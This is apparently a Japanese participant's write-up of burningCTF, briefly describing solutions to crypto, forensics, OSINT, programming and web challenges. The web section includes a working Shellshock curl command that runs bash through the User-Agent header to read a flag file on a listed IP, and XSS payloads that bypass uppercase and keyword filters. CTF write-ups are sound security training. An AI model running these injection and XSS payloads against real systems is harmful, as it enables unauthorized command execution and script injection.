burningCTF

burningCTF(場阿忍愚CTF) に参加していたので簡単に参加記を書きます。

始めたのが遅くてバイナリやSQL Injectionをまじめにやる時間が取れなかったのが心残りですが、
これをきっかけに他のCTFでその手の問題に積極的に取り組んでいきたいです。

111 芸術 ワットイズディス?

ヒントから勘で

112 芸術 cole nanee?

ヒントから勘で

113 芸術 Lines and Boxes

ヒントの「日本人には読みにくい漢字」というところから Electroharmonix を想像した。
フォントの文字と見比べながら解読

115 芸術 毎日使う

まったく読めないので、総画数が8画や9画の漢字を全列挙してそれっぽい字を目grepしたが見つからなかった。正解は10画だった…
画数で絞れば漢字ってどうせ数百個しかないので、方針としては悪くなかったと思うが

131 解読術 image level 5

ファイル名でググったら数字のMD5値だということがわかった

132 解読術 Ninjya Crypto

「忍者 暗号」で検索

133 解読術 Decrypt RSA

opensslを使って鍵の情報を見ると640bitだったので、「RSA 640bit」で検索
https://en.wikipedia.org/wiki/RSA_numbers#RSA-640 が出てきて、鍵はここに載っているものと同じだった

http://yuppy.hatenablog.com/entry/2015/09/30/010803 を参考に秘密鍵を生成してデコードさせた

151 解析術 Doubtful Files

展開して.vbsをひとつずつ実行したら、8.vbsだけ実行できない

展開前のファイルをバイナリエディタで見ると、「Zone Identifier」という文字列が見える。特に、8.vbsと7.infだけその領域が長い

http://www.atmarkit.co.jp/ait/articles/1407/11/news111.html を参考に more < 7.inf:Zone.Identifier などするとBase64文字列が出てきたのでデコードしておしまい

152 解析術 情報漏洩

サイズが大きなパケットを覗くとPNGのヘッダが見えたので取り出す

153 解析術 Speech by google translate

データのバイト数を示すフィールドの値が小さかったので伸ばすと全部聞ける

つい先日のBreak in CTFでも似たようなことをやっていたのですぐにわかった

154 解析術 Cool Gadget

stringsコマンドにかけるのをサボっていたのでremovemeが見つけられなかった
aes-128-cbcは見つけたのだが

あと、exifMacのプレビュー.appでてっきり見れるのかと思っていたけど、(少なくともこのファイルに関しては)見えないことを知った

161 電網術 ftp is not secure.

pcapファイルをstringsにかけるとBase64の文字列が出てくるので復号

162 電網術 ベーシック

Wiresharkで開いたらユーザー名とパスワードが見える

164 電網術 Japanese kids are knowing

nmapでポートスキャンして空いているポートにアクセスすると <C-D-...> みたいな文字列が降ってきて、
ヒントから楽譜だと思って見てみると、かえるの歌だった

171 諜報術 KDL

Internet Archive

172 諜報術 Mr. Nipps

twilogで該当の時間のtweetをみつけてTwitter APIで位置情報を取得

最初InstagramAPIを使おうとしていて、アクセス制御関連でうまく使えなくて困っていた(山寺社長をテストアプリへ招待して許可してもらうゲームなのかと)

173 諜報術 Akiko-chan

画像で検索してwordpressを追加キーワードに入れる

174 諜報術 タナカハック

site:yamatosecurity.com でググるとPDFがいくつか見つかるのでその作成者を見る

175 諜報術 タイムトラベル

いっぱいググった。
「2013/9 "50.115.13.104"」 で https://www.robtex.net/?dns=50.115.13.104 が見つかった

181 記述術 search_duplicate_character_string

「duplicateなL文字のsubstringがある」のLを二分探索
1回のチェックはローリングハッシュを使って(ハッシュの衝突を無視すれば)O(N)で済むので、全体の計算量はO(N logN)

https://github.com/tomerun/CTF/blob/master/burningCTF/181.cpp

182 記述術 JavaScript Puzzle

一見やばそうだが冷静に考えると難しくない

183 記述術 Count Number Of Flag's SubString!

後ろの方で使える文字の中に '=' がないことから "flag=" の結果は必ず1になるので、前から1文字ずつ決める

https://github.com/tomerun/CTF/blob/master/burningCTF/183.rb

184 記述術 解凍?

ある程度手でやって出くるパターンを掴んでからスクリプト

https://github.com/tomerun/CTF/blob/master/burningCTF/184.rb

185 記述術 Make sorted Amida kuji!!

枝刈り探索

数列の反転数以上の橋を架けないといけないことを利用して枝刈りすると一瞬で答えが出る

フラグを求める部分はJavascriptを移植して計算させた

https://github.com/tomerun/CTF/blob/master/burningCTF/185.cpp

191 超文書転送術 GIFアニメ生成サイト

/movies/view/N のNを1から順にアクセスしたら、50番あたりで運営が作ったっぽい思わせぶりなGIFアニメがたくさんあったので、
きっとこれを解析するのだろうと思って頑張って見ていたが大ハズレだった

192 超文書転送術 Network Tools

ヒントからSHELLSHOCKで攻撃することがわかる

http://www.walbrix.com/jp/blog/2014-09-bash-code-injection.html
このあたりを参考に、 curl -A "() { :;}; /bin/bash -c 'cat flag.txt'" -F "cmd=arp" -F "option=" http://210.146.64.37:60888/exec

193 超文書転送術 箱庭XSS

全部大文字に変換されるようだったので、アルファベット小文字を使わずにalertさせるというゲームなのだと理解する

まず8進数やUTF32で文字を埋め込む記法を試したけど動かなかった

そこで、記号プログラミングでalertを出すコードを http://perl-users.jp/articles/advent-calendar/2010/sym/3 から拝借して利用した

197 超文書転送術 箱庭XSS 2

最初、aタグのhref属性にjavascriptスキームを書いて、ユーザー名をクリックしたらalertが出るようにしたのだけど、何も起きなかった

alertで出力する文字列を、全HTML要素の全属性を連結したものにしてみたら、"alert"という文字列が削除されていることがわかった

あとは <script>eval("al" + "ert(1);");</script>

201 兵法術 将棋詰め壱/203 兵法術 将棋詰め参/204 兵法術 将棋詰め四

普通の詰め将棋だったのでびっくりした

202 兵法術 将棋詰め弐

普通の詰め将棋のはずがないと思って見ていたので、数字が入れ替わっているのはすぐにわかった